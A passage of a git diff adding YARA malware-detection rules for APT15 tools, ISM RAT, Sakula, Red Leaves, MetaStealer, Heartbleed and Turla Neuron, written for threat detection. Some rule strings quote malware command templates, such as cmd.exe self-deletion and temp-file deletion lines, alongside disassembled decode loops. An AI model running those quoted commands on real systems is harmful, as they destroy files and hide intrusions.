+	$pdb3 = "D:\\Work\\Project\\VS\\HSSL\\HSSL_Unicode _2\\Release\\ServiceClient.pdb"
+	$pdb4 = "D:\\Work\\VS\\Horse\\TSSL\\TSSL_v3.0\\TClient\\Release\\TClient.pdb"
+	$pdb5 = "D:\\Work\\VS\\Horse\\TSSL\\TSSL_v0.3.1_20170722\\TClient\\x64\\Release\\TClient.pdb"
+	$pdb6 = "D:\\Work\\VS\\Horse\\TSSL\\TSSL_v0.3.1_20170722\\TClient\\Release\\TClient.pdb"
+	$pdb7 = "D:\\work\\vs\\UsbFerry_v2\\bin\\UsbFerry.pdb"
+	$pdb8 = "E:\\Work\\VS Project\\cyassl-3.3.0\\out\\SSLClient_x64.pdb"
+//hunting rule    
+    $pdb9 = "D:\\Work\\Project\\VS\\house\\"
+    $pdb10 = "D:\\Work\\VS\\Horse\\"
+    $pdb11 = "D:\\work\\vs\\"
+    $pdb12 = "E:\\Work\\VS Project\\"
+    $pdb13 = "\\Release\\InstallClient.pdb"
+    $pdb14 = "\\Release\\FakeRun.pdb"
+    $pdb15 = "\\Release\\ServiceClient.pdb"
+    $pdb16 = "\\Release\\TClient.pdb"
+    $pdb17 = "\\bin\\UsbFerry.pdb"
+    $pdb18 = "\\out\\SSLClient_x64.pdb"
+
+
+  condition:
+    any of them
+
+}
diff --git a/yara-mikesxrs/Mikesxrs/android_tempting_cedar_spyware.yar b/yara-mikesxrs/Mikesxrs/android_tempting_cedar_spyware.yar
new file mode 100644
index 0000000..87d6308
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/android_tempting_cedar_spyware.yar
@@ -0,0 +1,15 @@
+rule android_tempting_cedar_spyware
+{
+	meta:
+    	Author = "@X0RC1SM"
+      Date = "2018-03-06"
+      Reference = "https://blog.avast.com/avast-tracks-down-tempting-cedar-spyware"
+	strings:
+		  $PK_HEADER = {50 4B 03 04}
+	   	$MANIFEST = "META-INF/MANIFEST.MF"
+	  	$DEX_FILE = "classes.dex"
+		  $string = "rsdroid.crt"
+	
+	condition:
+    	$PK_HEADER in (0..4) and $MANIFEST and $DEX_FILE and any of ($string*)
+}
diff --git a/yara-mikesxrs/NCCGroup/APT15.yar b/yara-mikesxrs/NCCGroup/APT15.yar
new file mode 100644
index 0000000..9b3e37e
--- /dev/null
+++ b/yara-mikesxrs/NCCGroup/APT15.yar
@@ -0,0 +1,214 @@
+import "pe"
+
+rule clean_apt15_patchedcmd{
+	meta:
+		author = "Ahmed Zaki"
+		description = "This is a patched CMD. This is the CMD that RoyalCli uses."
+		reference = "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
+		sha256 = "90d1f65cfa51da07e040e066d4409dc8a48c1ab451542c894a623bc75c14bf8f"
+	strings:
+	    $ = "eisableCMD" wide
+	    $ = "%WINDOWS_COPYRIGHT%" wide
+	    $ = "Cmd.Exe" wide
+	    $ = "Windows Command Processor" wide
+	condition:
+        	all of them
+}
+
+rule malware_apt15_royalcli_1{
+	meta:
+    description = "Generic strings found in the Royal CLI tool"
+    reference = "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
+		author = "David Cannings"
+		sha256 = "6df9b712ff56009810c4000a0ad47e41b7a6183b69416251e060b5c80cd05785"
+
+	strings:
+	    $ = "%s~clitemp%08x.tmp" fullword
+	    $ = "qg.tmp" fullword
+	    $ = "%s /c %s>%s" fullword
+	    $ = "hkcmd.exe" fullword
+	    $ = "%snewcmd.exe" fullword
+	    $ = "%shkcmd.exe" fullword
+	    $ = "%s~clitemp%08x.ini" fullword
+	    $ = "myRObject" fullword
+	    $ = "myWObject" fullword
+	    $ = "10 %d %x\x0D\x0A"
+	    $ = "4 %s  %d\x0D\x0A"
+	    $ = "6 %s  %d\x0D\x0A"
+	    $ = "1 %s  %d\x0D\x0A"
+	    $ = "3 %s  %d\x0D\x0A"
+	    $ = "5 %s  %d\x0D\x0A"
+	    $ = "2 %s  %d 0 %d\x0D\x0A"
+	    $ = "2 %s  %d 1 %d\x0D\x0A"
+	    $ = "%s file not exist" fullword
+
+	condition:
+	    5 of them
+}
+
+rule malware_apt15_royalcli_2{
+	meta:
+    author = "Nikolaos Pantazopoulos"
+    description = "APT15 RoyalCli backdoor"
+    reference = "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
+	strings:
+		$string1 = "%shkcmd.exe" fullword
+		$string2 = "myRObject" fullword
+		$string3 = "%snewcmd.exe" fullword
+		$string4 = "%s~clitemp%08x.tmp" fullword
+		$string5 = "hkcmd.exe" fullword
+		$string6 = "myWObject" fullword
+	condition:
+		uint16(0) == 0x5A4D and 2 of them
+}
+
+rule malware_apt15_bs2005{
+	meta:
+		author	=	"Ahmed Zaki"
+		md5	=	"ed21ce2beee56f0a0b1c5a62a80c128b"
+		description	=	"APT15 bs2005"
+		reference = "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
+   	strings:
+		$ = "%s&%s&%s&%s"  wide ascii
+		$ = "%s\\%s"  wide ascii
+		$ = "WarOnPostRedirect"  wide ascii fullword
+		$ = "WarnonZoneCrossing"  wide ascii fullword
+		$ = "^^^^^" wide ascii fullword
+			/*
+				"%s" /C "%s > "%s\tmp.txt" 2>&1 "     
+			*/
+		$ =  /"?%s\s*"?\s*\/C\s*"?%s\s*>\s*\\?"?%s\\(\w+\.\w+)?"\s*2>&1\s*"?/ 
+		$ ="IEharden" wide ascii fullword
+		$ ="DEPOff" wide ascii fullword
+		$ ="ShownVerifyBalloon" wide ascii fullword
+		$ ="IEHardenIENoWarn" wide ascii fullword
+   	condition:
+		(uint16(0) == 0x5A4D and 5 of them) or 
+		( uint16(0) == 0x5A4D and 3 of them and 
+		( pe.imports("advapi32.dll", "CryptDecrypt") and pe.imports("advapi32.dll", "CryptEncrypt") and
+		pe.imports("ole32.dll", "CoCreateInstance")))}
+
+rule malware_apt15_royaldll{
+	meta:
+		author = "David Cannings"
+		description = "DLL implant, originally rights.dll and runs as a service"
+		reference = "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
+		sha256 = "bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"          
+	strings:
+	    /*
+	      56                push    esi
+	      B8 A7 C6 67 4E    mov     eax, 4E67C6A7h
+	      83 C1 02          add     ecx, 2
+	      BA 04 00 00 00    mov     edx, 4
+	      57                push    edi
+	      90                nop
+	    */
+	    // JSHash implementation (Justin Sobel's hash algorithm)
+		$opcodes_jshash = { B8 A7 C6 67 4E 83 C1 02 BA 04 00 00 00 57 90 }
+
+	    /*
+	      0F B6 1C 03       movzx   ebx, byte ptr [ebx+eax]
+	      8B 55 08          mov     edx, [ebp+arg_0]
+	      30 1C 17          xor     [edi+edx], bl
+	      47                inc     edi
+	      3B 7D 0C          cmp     edi, [ebp+arg_4]
+	      72 A4             jb      short loc_10003F31
+	    */
+	    // Encode loop, used to "encrypt" data before DNS request
+		$opcodes_encode = { 0F B6 1C 03 8B 55 08 30 1C 17 47 3B 7D 0C }
+
+	    /*
+	      68 88 13 00 00    push    5000 # Also seen 3000, included below
+	      FF D6             call    esi ; Sleep
+	      4F                dec     edi
+	      75 F6             jnz     short loc_10001554
+	    */
+	    // Sleep loop
+		$opcodes_sleep_loop = { 68 (88|B8) (13|0B) 00 00 FF D6 4F 75 F6 }
+
+	    // Generic strings
+	    $ = "Nwsapagent" fullword
+	    $ = "\"%s\">>\"%s\"\\s.txt"
+	    $ = "myWObject" fullword
+	    $ = "del c:\\windows\\temp\\r.exe /f /q"
+	    $ = "del c:\\windows\\temp\\r.ini /f /q"
+	condition:
+		3 of them
+}
+
+rule malware_apt15_royaldll_2	{
+	meta:
+		author	=	"Ahmed Zaki"
+		sha256	=	"bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"
+		description	=	"DNS backdoor used by APT15"
+		reference = "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
+	strings:
+		    $= "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost" wide ascii 
+		    $= "netsvcs" wide ascii fullword
+		    $= "%SystemRoot%\\System32\\svchost.exe -k netsvcs" wide ascii fullword
+		    $= "SYSTEM\\CurrentControlSet\\Services\\" wide ascii
+		    $= "myWObject" wide ascii 
+	condition:
+		uint16(0) == 0x5A4D and all of them
+		and pe.exports("ServiceMain")
+		and filesize > 50KB and filesize < 600KB
+}
+
+rule malware_apt15_exchange_tool {
+	meta:
+		author = "Ahmed Zaki"
+		md5 = "d21a7e349e796064ce10f2f6ede31c71"
+		description = "This is a an exchange enumeration/hijacking tool used by an APT 15"
+		reference = "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
+	strings:
+		$s1= "subjectname" fullword
+		$s2= "sendername" fullword
+		$s3= "WebCredentials" fullword
+		$s4= "ExchangeVersion"	fullword
+		$s5= "ExchangeCredentials"	fullword
+		$s6= "slfilename"	fullword
+		$s7= "EnumMail"	fullword
+		$s8= "EnumFolder"	fullword
+		$s9= "set_Credentials"	fullword
+		$s10 = "/de" wide
+		$s11 = "/sn" wide
+		$s12 = "/sbn" wide
+		$s13 = "/list" wide
+		$s14 = "/enum" wide
+		$s15 = "/save" wide
+		$s16 = "/ao" wide
+		$s17 = "/sl" wide
+		$s18 = "/v or /t is null" wide
+		$s19 = "2007" wide
+		$s20 = "2010" wide
+		$s21 = "2010sp1" wide
+		$s22 = "2010sp2" wide
+		$s23 = "2013" wide
+		$s24 = "2013sp1" wide
+	condition:
+		uint16(0) == 0x5A4D and 15 of ($s*)
+}
+
+rule malware_apt15_generic {
+	meta:
+		author = "David Cannings"
+		description = "Find generic data potentially relating to AP15 tools"
+		reference = "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
+	strings:
+	    // Appears to be from copy/paste code
+		$str01 = "myWObject" fullword
+		$str02 = "myRObject" fullword
+
+	    /*
+	      6A 02             push    2               ; dwCreationDisposition
+	      6A 00             push    0               ; lpSecurityAttributes
+	      6A 00             push    0               ; dwShareMode
+	      68 00 00 00 C0    push    0C0000000h      ; dwDesiredAccess
+	      50                push    eax             ; lpFileName
+	      FF 15 44 F0 00 10 call    ds:CreateFileA
+	    */
+	    // Arguments for CreateFileA
+		$opcodes01 = { 6A (02|03) 6A 00 6A 00 68 00 00 00 C0 50 FF 15 }
+  	condition:
+		2 of them
+}
diff --git a/yara-mikesxrs/NCCGroup/ISMRAT.yar b/yara-mikesxrs/NCCGroup/ISMRAT.yar
new file mode 100644
index 0000000..a4d80d9
--- /dev/null
+++ b/yara-mikesxrs/NCCGroup/ISMRAT.yar
@@ -0,0 +1,15 @@
+rule trojan_ismrat_gen {
+ meta:
+ description = "ISM RAT"
+ author = "Ahmed Zaki"
+ md5 = "146a112cb01cd4b8e06d36304f6bdf7b , fa3dbe37108b752c38bf5870b5862ce5,
+bf4b07c7b4a4504c4192bd68476d63b5"
+ reference = "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2017/february/ism-rat/"
+strings:
+$s1 = "WinHTTP Example/1.0" wide
+$s2 = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0" wide
+$s3 = "|||Command executed successfully"
+$dir = /Microsoft\\Windows\\Tmpe[a-z0-9]{2,8}/
+condition:
+uint16(0) == 0x5A4D and all of them
+}
diff --git a/yara-mikesxrs/NCCGroup/Sakula.yar b/yara-mikesxrs/NCCGroup/Sakula.yar
new file mode 100644
index 0000000..cdc4843
--- /dev/null
+++ b/yara-mikesxrs/NCCGroup/Sakula.yar
@@ -0,0 +1,121 @@
+rule malware_sakula_xorloop {
+  meta:
+    description = "XOR loops from Sakula malware"
+    author = "David Cannings/NCCGroup"
+    reference = "https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Sakula"
+    md5 = "fc6497fe708dbda9355139721b6181e7"
+
+  strings:
+    $mz = "MZ"
+
+    // XOR decode loop (non-null, non-key byte only)
+    $opcodes_decode_loop01 = { 31 C0 8A 04 0B 3C 00 74 09 38 D0 74 05 30 D0 88 04 0B }
+
+    // XOR decode
+    $opcodes_decode_loop02 = { 8B 45 08 8D 0C 02 8A 01 84 C0 74 08 3C ?? 74 04 34 ?? 88 01 }
+
+  condition:
+    $mz at 0 and any of ($opcodes*)
+}
+
+rule malware_sakula_memory {
+  meta:
+    description = "Sakula malware - strings after unpacking (memory rule)"
+    author = "David Cannings/NCCGroup"
+    reference = "https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Sakula"
+    md5 = "b3852b9e7f2b8954be447121bb6b65c3"
+
+  strings:
+    $str01 = "cmd.exe /c ping 127.0.0.1 & del \"%s\""
+    $str02 = "cmd.exe /c rundll32 \"%s\" Play \"%s\""
+    $str03 = "Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+5.1;+SV1)"
+    $str04 = "cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c cmd.exe /c \"%s\""
+    $str05 = "Self Process Id:%d"
+    $str06 = "%d_%d_%d_%s"
+    $str07 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
+    $str08 = "cmd.exe /c rundll32 \"%s\" ActiveQvaw \"%s\""
+
+    // Encode loop, operations: rol 1; xor ??;
+    $opcodes01 = { 83 F9 00 74 0E 31 C0 8A 03 D0 C0 34 ?? 88 03 49 43 EB ED }
+
+    // Encode loop, single byte XOR
+    $opcodes02 = { 31 C0 8A 04 13 32 01 83 F8 00 75 0E 83 FA 00 74 04 49 4A }
+
+  condition:
+    4 of them
+}
+
+rule malware_sakula_shellcode {
+  meta:
+    description = "Sakula shellcode - taken from decoded setup.msi but may not be unique enough to identify Sakula"
+    author = "David Cannings/NCCGroup"
+    reference = "https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Sakula"
+
+  strings:
+    /*
+      55                      push    ebp
+      89 E5                   mov     ebp, esp
+      E8 00 00 00 00          call    $+5
+      58                      pop     eax
+      83 C0 06                add     eax, 6
+      C9                      leave
+      C3                      retn
+    */
+    // Get EIP technique (may not be unique enough to identify Sakula)
+    // Note this only appears in memory or decoded files
+    $opcodes01 = { 55 89 E5 E8 00 00 00 00 58 83 C0 06 C9 C3 }
+
+    /*
+      8B 5E 3C                mov     ebx, [esi+3Ch]  ; Offset to PE header
+      8B 5C 1E 78             mov     ebx, [esi+ebx+78h] ; Length of headers
+      8B 4C 1E 20             mov     ecx, [esi+ebx+20h] ; Number of data directories
+      53                      push    ebx
+      8B 5C 1E 24             mov     ebx, [esi+ebx+24h] ; Export table
+      01 F3                   add     ebx, esi
+    */
+    // Export parser
+    $opcodes02 = { 8B 5E 3C 8B 5C 1E 78 8B 4C 1E 20 53 8B 5C 1E 24 01 F3 }
+
+  condition:
+    any of them
+}
+
+
+rule malware_sakula_loader {
+  meta:
+    description = "A small DLL loader (~6KiB) for Sakula malware"
+    author = "David Cannings/NCCGroup"
+    reference = "https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Sakula"
+    md5 = "58d56d6e2cafca33e5a9303a36228ef6"
+
+  strings:
+    /*
+      59                      pop     ecx
+      5B                      pop     ebx
+      6A 69                   push    'i'
+      68 70 2E 6D 73          push    'sm.p'
+      68 73 65 74 75          push    'utes'
+      54                      push    esp             ; Source
+      FF 35 04 20 00 10       push    ds:lpFileName   ; Dest
+      E8 29 1F 00 00          call    strcat
+    */
+    // String stacking for 'setup.msi'
+    $opcodes_string_stack01 = { 6A 69 68 70 2E 6D 73 68 73 65 74 75 }
+
+    /*
+      48                      dec     eax
+      83 F8 00                cmp     eax, 0
+      0F 84 B2 00 00 00       jz      loc_10001171
+      8A 18                   mov     bl, [eax]
+      80 F3 5C                xor     bl, 5Ch
+      80 FB 00                cmp     bl, 0
+    */
+    $opcodes_decode_loop = { 48 83 F8 00 0F ?? ?? ?? ?? ?? 8A 18 80 F3 ?? 80 FB 00 }
+
+    // Generic toolmarks from the compiler
+    $str01 = "Win32 Program!"
+    $str02 = "GoLink, GoAsm www.GoDevTool.com"
+
+  condition:
+    1 of ($opcodes*) and 1 of ($str*)
+}
diff --git a/yara-mikesxrs/NCCGroup/authenticode_anomalies.yara b/yara-mikesxrs/NCCGroup/authenticode_anomalies.yara
new file mode 100644
index 0000000..f3d6e4f
--- /dev/null
+++ b/yara-mikesxrs/NCCGroup/authenticode_anomalies.yara
@@ -0,0 +1,16 @@
+import "pe"
+
+rule research_pe_signed_outside_timestamp {
+  meta:
+    author = "David Cannings"
+    description = "PE linker timestamp is outside the Authenticode validity period"
+
+  strings:
+    $mz = "MZ"
+
+  condition:
+    $mz at 0 and pe.number_of_signatures > 0 and not for all i in (0..pe.number_of_signatures - 1):
+    (
+      pe.signatures[i].valid_on(pe.timestamp)
+    )
+}
diff --git a/yara-mikesxrs/NCCGroup/badwinmail.yara b/yara-mikesxrs/NCCGroup/badwinmail.yara
new file mode 100644
index 0000000..36b3f75
--- /dev/null
+++ b/yara-mikesxrs/NCCGroup/badwinmail.yara
@@ -0,0 +1,33 @@
+rule exploit_Office_Badwinmail {
+  meta:
+    author = "David Cannings"
+    description = "Specific rule to detect files containing SWF objects, e.g. Badwinmail"
+    ref = "https://cansecwest.com/slides/2016/CSW2016_Li-Xu_BadWinmail_and_EmailSecurityOutlook_final.pdf"
+    
+  strings:
+    $header_tnef = { 78 9F 3E 22 }
+    $header_docf = { D0 CF 11 E0 }
+
+    // Reduce FPs on other DOCF documents by requiring Outlook specific properties
+    // Could be improved by taking further items from MS-OXMSG specs.
+    $msg_recip = "__recip_version1.0" wide
+    $msg_attach = "__attach_version1.0" wide
+    $msg_props = "__properties_version" wide
+    
+    // TODO: Is there any requirement to signature RFC822 emails?
+    
+    // SWF class identifiers, as embedded in the document
+    $embedded_clsid_hex = "D27CDB6E-AE6D-11cf-96B8-444553540000" nocase wide ascii
+    $embedded_class = "objclass ShockwaveFlash."
+    $embedded_clsid = { 6e db 7c d2 6d ae cf 11 96 b8 44 45 53 54 00 00 }
+
+  condition:
+    (
+     $header_tnef at 0 or 
+     (
+      $header_docf at 0 and
+      2 of ($msg_*)
+     )
+    ) and 
+    1 of ($embedded*)
+}
diff --git a/yara-mikesxrs/NCCGroup/heartbleed.yar b/yara-mikesxrs/NCCGroup/heartbleed.yar
new file mode 100644
index 0000000..3a260c8
--- /dev/null
+++ b/yara-mikesxrs/NCCGroup/heartbleed.yar
@@ -0,0 +1,12 @@
+rule HeartBleedWin32
+{
+ meta:
+  author = "NCCGROUP"
+  reference = "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2014/june/writing-robust-yara-detection-rules-for-heartbleed/"
+  description = "rule to detect heartbleed"
+ strings:
+  $opensslmini = {E8 ?? ?? ?? ?? 8B 4C 24 24 8B E8 8D 7D 01 8B C3 C6 45 00 02 C1 E8 08 53 88 07 88 5F 01 51 83 C7 02 57 E8 ?? ?? ?? ??}
+  $heartbleedpatch = {83 F9 13 73 ?? 5F 33 C0 5E 59 C3 0F ?? ?? ?? 0F ?? ??}
+ condition:
+  $opensslmini and not $heartbleedpatch
+}
diff --git a/yara-mikesxrs/NCCGroup/metaStealer_memory.yar b/yara-mikesxrs/NCCGroup/metaStealer_memory.yar
new file mode 100644
index 0000000..6e230cb
--- /dev/null
+++ b/yara-mikesxrs/NCCGroup/metaStealer_memory.yar
@@ -0,0 +1,14 @@
+rule metaStealer_memory {
+   meta:
+      description = "MetaStealer Memory"
+      reference = "https://research.nccgroup.com/2022/05/20/metastealer-filling-the-racoon-void/"
+      author = "Peter Gurney"
+      date = "2022-04-29"
+   strings:
+      $str_c2_parse = {B8 56 55 55 55 F7 6D C4 8B C2 C1 E8 1F 03 C2 8B 55 C0 8D 04 40 2B 45 C4}
+      $str_filename = ".xyz -newname hyper-v.exe" fullword wide
+      $str_stackstring = {FF FF FF C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF}
+   condition:
+      uint16(0) == 0x5a4d and
+      2 of ($str_*)
+}
diff --git a/yara-mikesxrs/NCCGroup/package_manager.yara b/yara-mikesxrs/NCCGroup/package_manager.yara
new file mode 100644
index 0000000..de13a36
--- /dev/null
+++ b/yara-mikesxrs/NCCGroup/package_manager.yara
@@ -0,0 +1,121 @@
+rule exploit_ole_package_manager {
+  meta:
+    author = "David Cannings"
+    description = "Office Package Manager, may load unsafe content including scripts"
+    ref = "http://quicksand.io/"
+
+  strings:
+    // Parsers will open files without the full 'rtf'
+    $header_rtf = "{\\rt" nocase
+    $header_office = { D0 CF 11 E0 }
+    $header_xml = "<?xml version=" nocase wide ascii
+
+    // Marks of embedded data (reduce FPs)
+    // RTF format
+    $embedded_object   = "\\object" nocase
+    $embedded_objdata  = "\\objdata" nocase
+    $embedded_ocx      = "\\objocx" nocase
+    $embedded_objclass = "\\objclass" nocase
+    $embedded_oleclass = "\\oleclsid" nocase
+    
+    // XML Office documents
+    $embedded_axocx      = "<ax:ocx"  nocase wide ascii
+    $embedded_axclassid  = "ax:classid"  nocase wide ascii
+
+    // OLE format
+    $embedded_root_entry = "Root Entry" wide
+    $embedded_comp_obj   = "Comp Obj" wide
+    $embedded_obj_info   = "Obj Info" wide
+    $embedded_ole10      = "Ole10Native" wide
+ 
+    $data0 = "0003000C-0000-0000-c000-000000000046" nocase wide ascii
+    $data1 = { 0C00030000000000c000000000000046 }
+    
+  condition:
+    // Mandatory header plus sign of embedding, then any of the others
+    for any of ($header*) : ( @ == 0 ) and 1 of ($embedded*) 
+        and (1 of ($data*))
+}
+
+rule exploit_ole_package_manager_poss {
+  meta:
+    author = "David Cannings"
+    description = "Office Package Manager, needs triage, these clsids are all surrogates"
+
+  strings:
+    // Parsers will open files without the full 'rtf'
+    $header_rtf = "{\\rt" nocase
+    $header_office = { D0 CF 11 E0 }
+    $header_xml = "<?xml version=" nocase wide ascii
+
+    // Marks of embedded data (reduce FPs)
+    // RTF format
+    $embedded_object   = "\\object" nocase
+    $embedded_objdata  = "\\objdata" nocase
+    $embedded_ocx      = "\\objocx" nocase
+    $embedded_objclass = "\\objclass" nocase
+    $embedded_oleclass = "\\oleclsid" nocase
+    
+    // XML Office documents
+    $embedded_axocx      = "<ax:ocx"  nocase wide ascii
+    $embedded_axclassid  = "ax:classid"  nocase wide ascii
+
+    // OLE format
+    $embedded_root_entry = "Root Entry" wide
+    $embedded_comp_obj   = "Comp Obj" wide
+    $embedded_obj_info   = "Obj Info" wide
+    $embedded_ole10      = "Ole10Native" wide
+
+    $data0 = "00020C01-0000-0000-C000-000000000046" nocase wide ascii
+    $data1 = { 010C020000000000C000000000000046 }
+      
+    $data2 = "00020C01-0000-0000-C000-000000000046" nocase wide ascii
+    $data3 = { 010C020000000000C000000000000046 }
+    
+    $data4 = "00022601-0000-0000-C000-000000000046" nocase wide ascii
+    $data5 = { 0126020000000000C000000000000046 }
+    
+    $data6 = "00022602-0000-0000-C000-000000000046" nocase wide ascii
+    $data7 = { 0226020000000000C000000000000046 }
+    
+    $data8 = "00022603-0000-0000-C000-000000000046" nocase wide ascii
+    $data9 = { 0326020000000000C000000000000046 }
+    
+      
+    $data10 = "0003000D-0000-0000-C000-000000000046" nocase wide ascii
+    $data11 = { 0D00030000000000C000000000000046 }
+    
+    $data12 = "0003000E-0000-0000-C000-000000000046" nocase wide ascii
+    $data13 = { 0E00030000000000C000000000000046 }
+    
+      
+    $data14 = "F20DA720-C02F-11CE-927B-0800095AE340" nocase wide ascii
+    $data15 = { 20A70DF22FC0CE11927B0800095AE340 }
+    
+
+  condition:
+    // Mandatory header plus sign of embedding, then any of the others
+    for any of ($header*) : ( @ == 0 ) and 1 of ($embedded*) 
+        and (1 of ($data*))
+}
+
+rule exploit_Office_ActiveX_Packager {
+  meta:
+    author = "David Cannings"
+    description = "Generic rule to detect RTF or Office files using packager.dll ActiveX control"
+    ref = "https://blogs.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/"
+    md5 = "d1bb6c0a522a689a880636e4d9b76600"
+    
+  strings:
+    $header_rtf = "{\\rt"
+    $header_office = { D0 CF 11 E0 }
+    
+    $suspicious01 = "\\objemb"
+    $suspicious02 = "\\*\\objclass Package"
+    
+    // "Package" as embedded in objdata stream
+    $suspicious03 = "5061636b61676500"
+    
+  condition:
+    1 of ($header*) and 2 of ($suspicious*)    
+}
diff --git a/yara-mikesxrs/NCCGroup/redleaves.yar b/yara-mikesxrs/NCCGroup/redleaves.yar
new file mode 100644
index 0000000..25bbdc1
--- /dev/null
+++ b/yara-mikesxrs/NCCGroup/redleaves.yar
@@ -0,0 +1,51 @@
+rule malware_red_leaves_generic {
+  meta:
+    author = "David Cannings/nccgroup"
+    description = "Red Leaves malware, related to APT10"
+    reference = "https://github.com/nccgroup/Cyber-Defence/tree/master/Signatures/yara"
+
+    // This hash from VT retrohunt, original sample was a memory dump
+    sha256 = "2e1f902de32b999642bb09e995082c37a024f320c683848edadaf2db8e322c3c"
+
+  strings:
+    // MiniLZO release date
+    $ = "Feb 04 2015"
+    $ = "I can not start %s"
+    $ = "dwConnectPort" fullword
+    $ = "dwRemoteLanPort" fullword
+    $ = "strRemoteLanAddress" fullword
+    $ = "strLocalConnectIp" fullword
+    $ = "\\\\.\\pipe\\NamePipe_MoreWindows" wide
+    $ = "RedLeavesCMDSimulatorMutex" wide
+    $ = "(NT %d.%d Build %d)" wide
+    $ = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0;
+      SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C;
+      .NET4.0E)" wide
+    $ = "red_autumnal_leaves_dllmain.dll" wide ascii
+    $ = "__data" wide
+    $ = "__serial" wide
+    $ = "__upt" wide
+    $ = "__msgid" wide
+
+  condition:
+    7 of them
+}
+
+rule malware_red_leaves_memory {
+  meta:
+    author = "David Cannings/nccgroup"
+    description = "Red Leaves C&C left in memory, use with Volatility / Rekall"
+    reference = "https://github.com/nccgroup/Cyber-Defence/tree/master/Signatures/yara"
+
+  strings:
+    $ = "__msgid=" wide ascii
+    $ = "__serial=" wide ascii
+    $ = "OnlineTime=" wide
+
+    // Indicates a file transfer
+    $ = "clientpath=" wide ascii
+    $ = "serverpath=" wide ascii
+
+  condition:
+    3 of them
+}
diff --git a/yara-mikesxrs/NCCGroup/turla_neuron_nautilus.yar b/yara-mikesxrs/NCCGroup/turla_neuron_nautilus.yar
new file mode 100644
index 0000000..953b163
--- /dev/null
+++ b/yara-mikesxrs/NCCGroup/turla_neuron_nautilus.yar
@@ -0,0 +1,176 @@
+rule neuron_common_strings {
+ meta:
+  description = "Rule for detection of Neuron based on commonly used strings"
+  author = "NCSC UK"
+  reference = "https://www.ncsc.gov.uk/file/2691/download?token=RzXWTuAB"
+  reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+  hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
+ strings:
+   $strServiceName = "MSExchangeService" ascii
+   $strReqParameter_1 = "cadataKey" wide
+   $strReqParameter_2 = "cid" wide
+   $strReqParameter_3 = "cadata" wide
+   $strReqParameter_4 = "cadataSig" wide
+   $strEmbeddedKey = "PFJTQUtleVZhbHVlPjxNb2R1bHVzPnZ3WXRKcnNRZjVTcCtWVG9Rb2xuaEVkMHVwWDFrVElFTUNTNEFnRkRCclNmclpKS0owN3BYYjh2b2FxdUtseXF2RzBJcHV0YXhDMVRYazRoeFNrdEpzbHljU3RFaHBUc1l4OVBEcURabVVZVklVbHlwSFN1K3ljWUJWVFdubTZmN0JTNW1pYnM0UWhMZElRbnl1ajFMQyt6TUhwZ0xmdEc2b1d5b0hyd1ZNaz08L01vZHVsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU+" wide
+   $strDefaultKey = "8d963325-01b8-4671-8e82-d0904275ab06" wide
+   $strIdentifier = "MSXEWS" wide
+   $strListenEndpoint = "443/ews/exchange/" wide
+   $strB64RegKeySubstring = "U09GVFdBUkVcTWljcm9zb2Z0XENyeXB0b2dyYXBo" wide
+   $strName = "neuron_service" ascii
+   $dotnetMagic = "BSJB" ascii
+ condition:
+   (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $dotnetMagic and 6 of ($str*)
+} 
+
+rule neuron_standalone_signature {
+ meta:
+   description = "Rule for detection of Neuron based on a standalone signature from .NET metadata"
+   author = "NCSC UK"
+   reference = "https://www.ncsc.gov.uk/file/2691/download?token=RzXWTuAB"
+   reference2 = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+   hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
+ strings:
